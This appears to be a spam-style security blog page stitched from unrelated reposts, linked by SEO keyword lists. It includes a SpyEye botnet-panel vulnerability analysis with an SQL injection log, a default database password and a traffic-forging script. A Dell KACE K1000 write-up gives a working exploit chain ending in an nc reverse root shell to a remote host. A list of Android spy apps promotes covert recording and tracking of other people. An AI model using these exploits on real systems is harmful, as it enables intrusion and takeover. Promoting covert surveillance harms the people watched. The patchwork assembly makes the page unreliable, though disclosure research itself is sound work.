Security Onion - Linux Distro For IDS, NSM, And Log Management

Security Onion is a free and open source Linux distribution for intrusion detection, enterprise security monitoring, and log management. It includes Elasticsearch, Logstash, Kibana, Snort, Suricata, Bro, OSSEC, Sguil, Squert, NetworkMiner, and many other security tools. The easy-to-use Setup wizard allows you to build an army of distributed sensors for your enterprise in minutes!

Security-onion project

This repo contains the ISO image, Wiki, and Roadmap for Security Onion.

Looking for documentation?

Please proceed to the Wiki.

Screenshots

Download Security-Onion

Related links

1. Sean Ellis Growth Hacking
2. Hacking Hardware
3. Hacking Virus
4. Master Growth Hacking
5. Hacking 2019
6. Hacking Con Buscadores

Attacking Financial Malware Botnet Panels - SpyEye

This is the second blog post in the "Attacking financial malware botnet panels" series. After playing with Zeus, my attention turned to another old (and dead) botnet, SpyEye. From an ITSEC perspective, SpyEye shares a lot of vulnerabilities with Zeus. 

The following report is based on SpyEye 1.3.45, which is old, and if we are lucky, the whole SpyEye branch will be dead soon. 

Google dorks to find SpyEye C&C server panel related stuff:

• if the img directory gets indexed, it is rather easy, search for e.g. inurl:b-ftpbackconnect.png
• if the install directory gets indexed, again, easy, search for e.g. inurl:spylogo.png
• also, if you find a login screen, check the css file (style.css), and you see #frm_viewlogs, #frm_stat, #frm_botsmon_country, #frm_botstat, #frm_gtaskloader and stuff like that, you can be sure you found it
• otherwise, it is the best not to Google for it, but get a SpyEye sample and analyze it

And this is how the control panel login looks like, nothing sophisticated:

The best part is that you don't have to guess the admin's username ;)

This is how an average control panel looks like:

Hack the Planet! :)

Boring vulns found (warning, an almost exact copy from the Zeus blog post)

• Clear text HTTP login - you can sniff the login password via MiTM, or steal the session cookies
• No password policy - admins can set up really weak passwords
• No anti brute-force - you can try to guess the admin's password. There is no default username, as there is no username handling!
• Password autocomplete enabled - boring
• Missing HttpOnly flag on session cookie - interesting when combining with XSS
• No CSRF protection - e.g. you can upload new exe, bin files, turn plugins on/off :-( boring. Also the file extension check can be bypassed, but the files are stored in the database, so no PHP shell this time. If you check the following code, you can see that even the file extension and type is checked, and an error is shown, but the upload process continues. And even if the error would stop the upload process, the check can be fooled by setting an invalid $uptype. Well done ...

        if ($_FILES['file']['tmp_name'] && ($_FILES['file']['size'] > 0))
        {
                $outstr = "<br>";
                set_time_limit(0);
                $filename = str_replace(" ","_",$_FILES['file']['name']);
                $ext = substr($filename, strrpos($filename, '.')+1);
                if( $ext==='bin' && $uptype!=='config' ) $outstr .= "<font class='error'>Bad CONFIG extension!</font><br>";
                if( $ext==='exe' && $uptype!=='body' && $uptype!=='exe' ) $outstr .= "<font class='error'>Bad extension!</font><br>";

                switch( $uptype )
                {
                case 'body': $ext = 'b'; break;
                case 'config': $ext = 'c'; break;
                case 'exe': $ext = 'e'; break;
                default: $ext = 'e';
                }
                $_SESSION['file_ext'] = $ext;
                if( isset($_POST['bots']) && trim($_POST['bots']) !== '')
                {
                        $bots = explode(' ', trim($_POST['bots']));
                        //writelog("debug.log", trim($_POST['bots']));
                        $filename .= "_".(LastFileId()+1);
                }
                if( FileExist($filename) ) $filename .= LastFileId();
                $tmpName  = $_FILES['file']['tmp_name'];
                $fileSize = $_FILES['file']['size'];
                $fileType = $_FILES['file']['type'];
                ## reading all file for calculating hash
                $fp = fopen($tmpName, 'r');

• Clear text password storage - the MySQL passwords are stored in php files, in clear text. Also, the login password to the form panel is stored in clear text.
• MD5 password - the passwords stored in MySQL are MD5 passwords. No PBKDF2, bcrypt, scrypt, salt, whatever. MD5. Just look at the pure simplicity of the login check, great work!

$query = "SELECT * FROM users_t WHERE uPswd='".md5($pswd)."'";

• ClickJacking - really boring stuff

SQL injection

SpyEye has a fancy history of SQL injections. See details here, here, here, video here and video here.

It is important to highlight the fact that most of the vulnerable functions are reachable without any authentication, because these PHP files lack user authentication at the beginning of the files.

But if a C&C server owner gets pwned through this vuln, it is not a good idea to complain to the developer, because after careful reading of the install guide, one can see:

"For searching info in the collector database there is a PHP interface as formgrabber admin panel. The admin panel is not intended to be found on the server. This is a client application."

And there are plenty of reasons not to install the formgrabber admin panel on any internet reachable server. But this fact leads to another possible vulnerability. The user for this control panel is allowed to remotely login to the MySQL database, and the install guide has pretty good passwords to be reused. I mean it looks pretty secure, there is no reason not to use that.

CREATE USER 'frmcpviewer' IDENTIFIED BY 'SgFGSADGFJSDGKFy2763272qffffHDSJ';

Next time you find a SpyEye panel, and you can connect to the MySQL database, it is worth a shot to try this password.

Unfortunately the default permissions for this user is not enough to write files (select into outfile):

Access denied for user 'frmcpviewer' (using password: YES)

I also made a little experiment with this SQL injection vulnerability. I did set up a live SpyEye botnet panel, created the malware install binaries (droppers), and sent the droppers to the AV companies. And after more and more sandboxes connected to my box, someone started to exploit the SQL injection vulnerability on my server!

63.217.168.90 - - [16/Jun/2014:04:43:00 -0500] "GET /form/frm_boa-grabber_sub.php?bot_guid=&lm=3&dt=%20where%201=2%20union%20select%20@a:=1%20from%20rep1%20where%20@a%20is%20null%20union%20select%20@a:=%20@a%20%2b1%20union%20select%20concat(id,char(1,3,3,7),bot_guid,char(1,3,3,7),process_name,char(1,3,3,7),hooked_func,char(1,3,3,7),url,char(1,3,3,7),func_data)%20from%20rep2_20140610%20where%20@a=3%23 HTTP/1.1" 200 508 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)"

Although the query did not return any meaningful data to the attacker (only data collected from sandboxes), it raises some legal questions.

Which company/organization has the right to attack my server? 

• police (having a warrant)
• military (if we are at war)
• spy agencies (always/never, choose your favorite answer)
• CERT organisations?

But, does an AV company or security research company has the legal right to attack my server? I don't think so... The most problematic part is when they hack a server (without authorization), and sell the stolen information in the name of "intelligence service". What is it, the wild wild west?

The SQLi clearly targets the content of the stolen login credentials. If this is not an AV company, but an attacker, how did they got the SpyEye dropper? If this is an AV company, why are they stealing the stolen credentials? Will they notify the internet banking owners about the stolen credentials for free? Or will they do this for money?

And don't get me wrong, I don't want to protect the criminals, but this is clearly a grey area in the law. From an ethical point of view, I agree with hacking the criminal's servers. As you can see, the whole post is about disclosing vulns in these botnet panels. But from a legal point of view, this is something tricky ... I'm really interested in the opinion of others, so comments are warmly welcome.

On a side note, I was interested how did the "attackers" found the SpyEye form directory? Easy, they brute-forced it, with a wordlist having ~43.000 entries.

(Useless) Cross site scripting

Although parts of the SpyEye panel are vulnerable to XSS, it is unlikely that you will to find these components on the server, as these codes are part of the install process, and the installer fails to run if a valid install is found. And in this case, you also need the DB password to trigger the vuln...

Session handling

This is a fun part. The logout button invalidates the session only on the server side, but not on the client side. But if you take into consideration that the login process never regenerates the session cookies (a.k.a session fixation), you can see that no matter how many times the admin logs into the application, the session cookie remains the same (until the admin does not close the browser). So if you find a session cookie which was valid in the past, but is not working at the moment, it is possible that this cookie will be valid in the future ...

Binary server

Some parts of the SpyEye server involve running a binary server component on the server, to collect the form data. It would be interesting to fuzz this component (called sec) for vulns.

Log files revealed

If the form panel mentioned in the SQLi part is installed on the server, it is worth visiting the <form_dir>/logs/error.log file, you might see the path of the webroot folder, IP addresses of the admins, etc.

Reading the code

Sometimes reading the code you can find code snippets, which is hard to understand with a clear mind:

$content = fread($fp, filesize($tmpName));
if ( $uptype === 'config' )
    $md5 = GetCRC32($content);
else $md5 = md5($content);
....
<script>
if (navigator.userAgent.indexOf("Mozilla/4.0") != -1) {
        alert("Your browser is not support yet. Please, use another (FireFox, Opera, Safari)");
        document.getElementById("div_main").innerHTML = "<font class=\'error\'>ChAnGE YOuR BRoWsEr! Dont use BUGGED Microsoft products!</font>";
}
</script>

Decrypting SpyEye communication

It turned out that the communication between the malware and C&C server is not very sophisticated (Zeus does a better job at it, because the RC4 key stream is generated from the botnet password).

function DeCode($content)
{
        $res = '';
        for($i = 0; $i < strlen($content); $i++)
        {
                $num = ord($content[$i]);
                if( $num != 219) $res .= chr($num^219);
        }
        return $res;
}

Fixed XOR key, again, well done ...

This means that it is easy to create a script, which can communicate with the SpyEye server. For example this can be used to fill in the SpyEye database with crap data.

import binascii
import requests
import httplib, urllib

def xor_str(a, b):
    i = 0
    xorred = ''
    for i in range(len(a)):
        xorred += chr(ord(a[i])^b)
    return xorred
            
b64_data= "vK6yv+bt9er17O3r6vqPnoiPjZb2i5j6muvo6+rjmJ/9rb6p5urr6O/j/bK+5uP16/Xs7evq9ers7urv/bSo5u316vXs7evq/a6v5pq/trK1/bi4qbjm453j6uPv7Or9tr/u5um+uuvpve3p7eq/4+vsveLi7Lnqvrjr6ujs7rjt7rns/au3vOa5sre3srW8s7q2tr6p4Lm3tLiw4LmuvKm+q7Spr+C4uPu8qbq5ub6p4Li4vKm6ubm+qeC4qb6/sq+8qbq54LiuqK+0tri0tbW+uK+0qeC/v7So4L+1qLqrsuC+trqyt7ypurm5vqngvb24vqmvvKm6ubm+qeC9/aivuq/mtLW3srW+"
payload =xor_str (binascii.a2b_base64(b64_data), 219) 
print ("the decrypted payload is: " + payload)
params = (binascii.b2a_base64(xor_str(payload,219)))
payload = {'data': params}
r = requests.post("http://spyeye.localhost/spyeye/_cg/gate.php", data=payload)

Morale of the story?

Criminals produce the same shitty code as the rest of the world, and thanks to this, some of the malware operators get caught and are behind bars now. And the law is behind the reality, as always.

Continue reading

1. El Mejor Hacker Del Mundo
2. Wifi Hacking
3. Como Empezar En El Hacking
4. Hacking Desde Cero
5. Como Convertirse En Hacker
6. Hacking Academy
7. Hacking Tor Funciona
8. Chema Alonso Wikipedia
9. Hacking Etico 101 Pdf
10. Hacking Libro
11. Hacking Wallpaper
12. Growth Hacking Sean Ellis
13. Clases De Hacker
14. Python Desde 0 Hasta Hacking - Máster En Hacking Con Python
15. Curso Hacking Etico Gratis

The Curious Case Of The Ninjamonkeypiratelaser Backdoor

A bit over a month ago I had the chance to play with a Dell KACE K1000 appliance ("http://www.kace.com/products/systems-management-appliance"). I'm not even sure how to feel about what I saw, mostly I was just disgusted. All of the following was confirmed on the latest version of the K1000 appliance (5.5.90545), if they weren't working on a patch for this - they are now.

Anyways, the first bug I ran into was an authenticated script that was vulnerable to path traversal:

POST /userui/downloadpxy.php HTTP/1.1
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: kboxid=xxxxxxxxxxxxxxxxxxxxxxxx
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
DOWNLOAD_SOFTWARE_ID=1227&DOWNLOAD_FILE=../../../../../../../../../../usr/local/etc/php.ini&ID=7&Download=Download

HTTP/1.1 200 OK
Date: Tue, 04 Feb 2014 21:38:39 GMT
Server: Apache
Expires: 0
Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform
Pragma: public
Content-Length: 47071
Content-Disposition: attachment; filename*=UTF-8''..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr%2Flocal%2Fetc%2Fphp.ini
X-DellKACE-Appliance: k1000
X-DellKACE-Version: 5.5.90545
X-KBOX-Version: 5.5.90545
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/ini
[PHP]
;;;;;;;;;;;;;;;;;;;
; About php.ini   ;
;;;;;;;;;;;;;;;;;;;

That bug is neat, but its post-auth and can't be used for RCE because it returns the file as an attachment :(

So moving along, I utilized the previous bug to navigate the file system (its nice enough to give a directory listing if a path is provided, thanks!), this led me to a file named "kbot_upload.php". This file is located on the appliance at the following location:

http://targethost/service/kbot_upload.php

This script includes "KBotUpload.class.php" and then calls "KBotUpload::HandlePUT()", it does not check for a valid session and utilizes its own "special" means to auth the request.

The "HandlePut()" function contains the following calls:

        $checksumFn = $_GET['filename'];
        $fn = rawurldecode($_GET['filename']);
        $machineId = $_GET['machineId'];
        $checksum = $_GET['checksum'];
        $mac = $_GET['mac'];
        $kbotId = $_GET['kbotId'];
        $version = $_GET['version'];
        $patchScheduleId = $_GET['patchscheduleid'];
        if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {
            KBLog($_SERVER["REMOTE_ADDR"] . " token checksum did not match, "
                  ."($machineId, $checksumFn, $mac)");
            KBLog($_SERVER['REMOTE_ADDR'] . " returning 500 "
                  ."from HandlePUT(".construct_url($_GET).")");
            header("Status: 500", true, 500);
            return;
        }

The server checks to ensure that the request is authorized by inspecting the "checksum" variable that is part of the server request. This "checksum" variable is created by the client using the following:

      md5("$filename $machineId $mac" . 'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');

Server side check:

    private static function calcTokenChecksum($filename, $machineId, $mac)
    {
        //return md5("$filename $machineId $mac" . $ip .
        //           'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
     
        // our tracking of ips really sucks and when I'm vpn'ed from
        // home I couldn't get patching to work, cause the ip that
        // was on the machine record was different from the
        // remote server ip.
        return md5("$filename $machineId $mac" .
                   'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
    }

The "secret" value is hardcoded into the application and cannot be changed by the end user (backdoor++;). Once an attacker knows this value, they are able to bypass the authorization check and upload a file to the server. 

In addition to this "calcTokenChecksum" check, there is a hardcoded value of "SCRAMBLE" that can be provided by the attacker that will bypass the auth check (backdoor++;):  

 if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {

Once this check is bypassed we are able to write a file anywhere on the server where we have permissions (thanks directory traversal #2!), at this time we are running in the context of the "www" user (boooooo). The "www" user has permission to write to the directory "/kbox/kboxwww/tmp", time to escalate to something more useful :)

From our new home in "tmp" with our weak user it was discovered that the KACE K1000 application contains admin functionality (not exposed to the webroot) that is able to execute commands as root using some IPC ("KSudoClient.class.php").

The "KSudoClient.class.php" can be used to execute commands as root, specifically the function "RunCommandWait". The following application call utilizes everything that was outlined above and sets up a reverse root shell, "REMOTEHOST" would be replaced with the host we want the server to connect back to:

    POST /service/kbot_upload.php?filename=db.php&machineId=../../../kboxwww/tmp/&checksum=SCRAMBLE&mac=xxx&kbotId=blah&version=blah&patchsecheduleid=blah HTTP/1.1
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: keep-alive
    Content-Length: 190
    <?php
    require_once 'KSudoClient.class.php';
    KSudoClient::RunCommandWait("rm /kbox/kboxwww/tmp/db.php;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc REMOTEHOST 4444 >/tmp/f");?> 

Once this was sent, we can setup our listener on our server and call the file we uploaded and receive our root shell:

    http://targethost/service/tmp/db.php

On our host:

    ~$ ncat -lkvp 4444
    Ncat: Version 5.21 ( http://nmap.org/ncat )
    Ncat: Listening on 0.0.0.0:4444
    Ncat: Connection from XX.XX.XX.XX
    sh: can't access tty; job control turned off
    # id
    uid=0(root) gid=0(wheel) groups=0(wheel)  

So at the end of the the day the count looks like this:

Directory Traversals: 2
Backdoors: 2
Privilege Escalation: 1

That all adds up to owned last time I checked.

Example PoC can be found at the following location:
https://github.com/steponequit/kaced/blob/master/kaced.py

Example usage can be seen below:

Related news

1. Hacking Prank
2. Growth Hacking Ejemplos
3. Rom Hacking
4. Ethical Hacking
5. Hacking Linux Distro
6. Programa De Hacking
7. Cracker Definicion
8. El Mejor Hacker
9. Herramientas De Seguridad Informatica

Video Archives Of Security Conferences And Workshops

Just some links for your enjoyment

List of security conferences in 2014

Video archives:



AIDE (Appalachian Institute of Digital Evidence)

• 2013
• 2012
• 2011

Blackhat

• 2012 or 2012 torrent

Botconf

• 2013

Bsides

• BSides DC 2014
• BSides Chicago 2014
• BSides Nashville 2014
• BSides Augusta 2014
• BSides Huntsville 2014
• BSides Las Vegas 2014
• BSidesDE 2013
• BSidesLV 2013
• BSidesRI 2013
• Bsides Cleveland 2012 BsidesCLE
• Bsides Las Vegas 2012

Chaos Communication Congress

• Chaos Communications Channel YouTube
• 31c3 Recordings

Defcon

• Defcon: All Conference CDs and DVDs with Presentation PDF files (updated 2014 for DEF CON 22): Torrent
• Defcon Wireless Village 2014
• Defcon: all other

Derbycon

• Derbycon 4
• DerbyCon 3
• Derbycon 2
• Derbycon 1

Digital Bond's S4x14

• Digital Bond's S4x14 ISC Security

Circle City Con

• Circle City Con 2014

GrrCON Information Security Summit & Hacker Conference

• GrrCON 2014

Hack in the box HITB

• 2011

Hack in Paris :

• 2011  https://www.youtube.com/playlist?list=PL70E48008B3E43448
• 2012  https://www.youtube.com/playlist?list=PL1F1B29D6E0D89A5F
• 2013  https://www.youtube.com/playlist?list=PL3UAg9Zuj1yK5nePRJCq1Y3gVLkoqVj9a
• 2014  https://www.youtube.com/playlist?list=PL3UAg9Zuj1yLmemIKw-domjg5UkbN-pLc

Hack3rcon

• Hack3rcon 4
• Hack3rcon 3

InfowarCon

• InfowarCon 2014

Free and Open Source Software Conference 2014

• froscon2014

International Cyber Security Conference 

• Tel-Aviv 2014

KIACS Cyber Security Conference

• KIACS 2014

Louisville

• Louisville Infosec 2014
• Louisville InfoSec 2013

NATO Cyber Security Conference

• 2014

Notacon

• Notacon 2013

Nuit du Hack

• 2011 https://www.youtube.com/playlist?list=PL311C7F71E22EA36A
• 2012 https://www.youtube.com/playlist?list=PLA446F5E0B2847F06
• 2013 https://www.youtube.com/playlist?list=PLzGIjwtabBqjyvyt1eUdlfXg0EbcLND-8
• 2014 https://www.youtube.com/playlist?list=PLzGIjwtabBqggpaJe51ZuifYYovBy3HhS

Nullcon

• Nullcon 2014
• Nullcon 2013
• Nullcon 2012

OWASP

• OWASP Global Webinars
• AppSec California 2014
• AppSecEU 2014
• AppSecUSA 2013
• AppSec EU Research 2013
• AppSecUSA 2012
• AppSecUSA 2011

OISF

• OISF 2014
• OISF 2013

OHM

• OHM2013. Observe, Hack, Make

Outerz0ne 9

• 2013
• 2011

Passwordscon

• Passwordscon 2014

PhreakNIC

• PhreakNIC 16

RSA

• Videos
• 2014 Big data should be dead. Unisys

Ruxcon

• Ruxcon 2012
• Ruxcon 2011

Shmoocon

• Shmoocon 2014
• Firetalks 2015
• Firetalks 2014
• Firetalks 2013
• Firetalks 2011

ShowMeCon

• 2014

SkyDogCon

• SkyDogCon 2013
• SkyDogCon 2012

TakeDownCon

• Rocket City 2014

Troopers

Heidelberg Germany

• Troopers 2014
• Troopers 2013
• Troopers 2012

Virus Bulletin

•  VB2014

Workshops, How-tos, and Demos

• Adrian Crenshaw. Intro to Darknets: Tor and I2P Workshop
• Installing the I2P darknet software in Linux
• Adrian Crenshaw. Installing Nessus on Kali Linux and Doing a Credentialed Scan
• Intro to Metasploit Class at IU Southeast
• Louisville ISSA Web PenTesting Workshop
• Louisville Nmap Class 2014
• ISSA Kentuckiana - RESTful Web Services - Jeremy Druin - @webpwnized
• Introduction to HTML Injection (HTMLi) and Cross Site Scripting (XSS) Using Mutillidae
• Introduction to Pen Testing Simple Network Management Protocol (SNMP) - ISSA Kentuckiana workshop 9 - Jeremy Druin
• Liam Randall- Shmoocon 2013: Bro IDS and the Bro Network Programming Language
• Basics of using sqlmap - ISSA Kentuckiana workshop 8 - Jeremy Druin
• SQL Server Hacking from ISSA Kentuckiana workshop 7 - Jeremy Druin
• Introduction to buffer overflows from ISSA KY workshop 6 - Jeremy Druin
• The potential impact of Software Defined Networking on security - Brent Salisbury
• Into to Metasploit - Jeremy Druin
• Traceroute and Scapy Jeremy Druin @webpwnized
• Basic Setup of Security-Onion: Snort, Snorby, Barnyard, PulledPork, Daemonlogger
• NetworkMiner Professional for Network Forensics

Special thanks to  Adrian Crenshaw for his collection of videos

Continue reading

• Google Hacking Database
• Hacking Videos
• Kali Linux Hacking
• Hacking Team
• Hacking Con Buscadores
• Hacking The System
• Paginas De Hacking
• Paginas Para Hackear

Wafw00F: The Web Application Firewall Fingerprinting Tool

How does wafw00f work?
   To do its magic, WAFW00F does the following steps:

• Sends a normal HTTP request and analyses the response; this identifies a number of WAF solutions.
• If that is not successful, wafw00f sends a number of (potentially malicious) HTTP requests and uses simple logic to deduce which WAF it is.
• If that is also not successful, wafw00f analyses the responses previously returned and uses another simple algorithm to guess if a WAF or security solution is actively responding to wafw00f's attacks.

   For further details, check out the source code on EnableSecurity's main repository.

What does it detect? WAFW00F can detect a number of firewalls, a list of which is as below:

wafw00f's installation
   If you're using Debian-based distro, enter this commands to install wafw00f: sudo apt update && sudo apt install wafw00f

   But if you're using another Linux distro, enter these commands to install wafw00f:

How to use wafw00f?
   The basic usage is to pass an URL as an argument. Example:

Final Words to you
   Questions? Pull up an issue on GitHub Issue Tracker or contact to EnableSecurity.
   Pull requests, ideas and issues are highly welcome. If you wish to see how WAFW00F is being developed, check out the development board.

   Some useful links:

• Documentation/Wiki
• Pypi Package Repository

   Presently being developed and maintained by:

• Sandro Gauci (@SandroGauci)
• Pinaki Mondal (@0xInfection)

Download wafw00f

Related articles

• Hacking Web Sql Injection Pdf
• Curso Seguridad Informatica
• Hacking Growth Pdf
• Hacking Team
• Python Desde 0 Hasta Hacking - Máster En Hacking Con Python
• Python Hacking
• Hacking Team
• Como Empezar A Hackear
• Mindset Hacking Español
• Herramientas Hacking Android
• Escuela Travel Hacking
• Aprender A Hackear Desde Cero
• Programa De Hacking
• Aprender A Ser Hacker

CEH Practical: Gathering Target Information: Reconnaissance And Competitive Intelligence

CEH Exam Objectives:

Describe Reconnaissance. 

Describe aggressive/competitive intelligence.

Reconnaissance

 Reconnaissance is the process of gathering informative data about a particular target of a malicious hack by exploring the targeted system. Basically two types of Reconnaissance exist i.e. Active and Passive. Active reconnaissance typically related to port scanning and observing the vulnerabilities about the targeted system (i.e., which ports are left vulnerable and/or if there are ways around the firewall and routers). Passive reconnaissance typically you will not be directly connected to a computer system. This process is used to gather essential information without ever interacting with the target systems.

Understand Aggressive Intelligence 

Competitive intelligence means information gathering about competitors' products, marketing, and technologies. Most competitive intelligence is non intrusive to the company being investigated and is benign in nature. It's used for product comparison or as a sales and marketing tactic to better understand how competitors are positioning their products or services.

Online tools to gather competitive intelligence

Exercise 1.1

Using KeywordSpy 

To use the KeywordSpy online tool to gather competitive intelligence information:  

• Go to the www.keywordspy.com website and enter the website address of the target in the search field 

• Review the report and determine valuable keywords, links, or other information.

 

Exercise 1.2

Using spyfu

• Go to your browser and type www.spyfu.com and enter the website address of the target in the search field.
  

Exercise 1.3

Using the EDGAR Database to Gather Information

1. Determine the company's stock symbol using Google.

2. Open a web browser to www.sec.gov.

3. On the right side of the page, click the link EDGAR Filers. 

4. Click the Search For Filings menu and enter the company name or stock  symbol to search the filings for information. You can learn, for example, where the company is registered and who reported the filing.

5. Use the Yahoo! yellow pages ( http://yp.yahoo.com ) to see if an address or phone number is listed for any of the employee names you have located.

More articles

• Hacking The Art Of Exploitation
• Growth Hacking Pdf
• Hacking Y Seguridad
• Python Desde 0 Hasta Hacking - Máster En Hacking Con Python
• What Is Growth Hacking
• Travel Hacking
• 101 Hacking
• Libro Hacking Etico
• Ethical Hacking Course
• Google Hacking Database
• Hacking Linkedin
• Amiibo Hacking
• Hardware Hacking Tools
• Hacking Tools
• Curso De Hacking Etico Gratis

Top 20 Android Spy Apps That Will.Make U Fell Like A Dectitive

             Top 10 Best android spy apps.                 

t's worth to note that there are plenty of Android spy apps available on the Google Play Store, but mentioning all of them is not possible. So, in this article, we have listed the one that's popular and used by many. So, let's explore the list of best spy apps 2019.

#1 Spy Camera OS

This app permits users to capture images secretly. This app provides a smart way to shoot photos with a hidden camera interface so people wouldn't notice that you are taking pictures of them. Also, every sound and flash etc get disabled in this app.

#2 Ear Spy

This is an awesome app to record even low voices. By this app, you can place your phone in the other room and can listen to the voices of that room by your Bluetooth handset. This app actually records the sound and then amplifies its recording and give you the amplified clear voices.

#3 Ip Cam Viewer

This awesome app allows to remotely view and control your IP Camera, DVR, Network Video Recorder, traffic cameras, CCTV or WebCam from an android device. In its new version, you can also get the notification on detecting motion on the device. This app can automatically start recording whenever it detects motion.

#4 Automatic Call Recorder

This is another best Spy App that one can have on their Android smartphone. This app gets automatically launched whenever you make or receive any call. It records all the conversation b/w speakers and also the surrounding noise of the device in which it is installed.

#5 Monitor Call Sms Location

This is another good spy app to remotely monitor SMS, Photo, Location, call logs and many more things on an Android device. This will exact location of the targeted device through a web-portal even if GPS disabled on the target device. The app comes with the three-day free trial option.

#6 Anti Spy Mobile

You don't know whether you had installed any spyware software on your phone? Use this app to instantly find the spyware. The Android app uses advanced detection techniques to detect new spyware. So, with this app, you can easily protect yourself from Android spyware.

#7 Hidden Eye

Ever wanted to know who tried snooping on your phone while you were away. Your friends or family member might have tried to unlock your phone. Hidden Eye is a simple app with no frills that will photograph the person when they try to unlock your phone.

#8 AppLock

Applock is the most downloaded app lock in Play Store. Protect privacy with password, pattern, fingerprint lock. AppLock can lock Facebook, Whatsapp, Gallery, Messenger, SMS, Contacts, Gmail, Settings, incoming calls and any app you choose. Prevent unauthorized access and guard privacy. Ensure security.

#9 Hide Calls Automatically

With this app, all outgoing, incoming and missed calls coming from private contacts will be deleted automatically from calls Log of your phone! No icon of this app will appear in your list of applications on your phone.

#10 Truecaller: Caller ID & Dialer

Truecaller is the only dialer you'll ever need with the ability to identify unknown callers and block unwanted calls. See names and photos of people who call, even if they aren't saved in your phonebook. And know when friends are free to talk, making your calling experience smarter and more delightful.

#11 Cell Tracker

You can use the cell tracker Android app to keep track of the location of your smartphone. With the help of this app, you can track all the locations you have visited in the last few days with your Android phone. To check the locations visited you have to launch the app and click on "View Now". No need to turn on the GPS.

#12 Secret Calls

With the help of this app, all outgoing, Incoming and Missed Calls coming from private contacts will be deleted automatically from Calls Log of your phone! No icon of this app will appear in your list of applications on your phone.

#13 Spy Camera

This is another Spy app on the list which provides one-touch to capture image feature. The app actually has lots of useful features. With the help of this app, you can find your lost phone because this app allows you to set up a number. When you lost your phone, just SMS to this phone and it will take a picture and upload to drive.

#14 Truecaller

Truecaller is a popular Android app which is used every day to identify unknown calls, block spam calls and spam SMS. It filters out the unwanted and lets you connect with people who matter.

#15 Whoscall – Caller ID

Whoscall, the best caller ID App that identifies unknown calls and blocks annoying spams, robocall & telemarketing with more than 50 million downloads and over 1 billion numbers data. It also got the call blocker that can be used to blacklist or whitelist contacts stored on your smartphone.

#16 Norton Family parental control

Norton Family parental control is basically an Android app that is meant to keep kids safe online. However, this is nothing sort of a spy app. The app can help you to supervise online activity. You can easily keep track of sites which your friend visit and what they search if you install Norton Family Parental control on their phone.

#17 Smart Hide Calculator

The app doesn't help users to spy on others. But, it can give you a detective type feeling. Smart hide calculator is a fully functional calculator app but with a little twist. Once you enter the password and press the '=' button then boom you are presented to an interface where you can hide, unhide pictures, videos, documents or files with any file extension.

#18 Hidden Eye

Ever wanted to know who tried snooping into your phone while you were away. Your friends or family member might have tried to unlock your phone. Hidden Eye is a simple app with no frills that will photograph the person when they try to unlock your phone.

#19 Background Video Recorder

This is another best Android spy app that helps users to record what's happening behind them. Background Video Recorder is basically a camera app that records videos silently on the background. The app eliminates the camera shutter sounds, camera previews and it can also record videos when the screen is off.

#20 Kids Place

Kids Place is another best parental control app in the list and its meant to protect your kids' online activities. However, if you don't have kids, you can use the app to track other devices. The app gives you full control over other devices and you can control everything including calls, text, internet browsing, apps, etc.

@EVERYTHING NT

Related news

• Hacking The Art Of Exploitation
• El Hacker Pelicula
• Elladodelmal
• Blog Seguridad Informática
• Hacking Tools
• Kali Linux Hacking
• Python Desde 0 Hasta Hacking - Máster En Hacking Con Python
• Car Hacking
• Libros Hacking
• Curso De Ciberseguridad Y Hacking Ético
• Que Es El Hacking Etico
• Certificacion Hacking Etico
• Ultimate Hacking Keyboard
• Hacking Social
• Hacking With Swift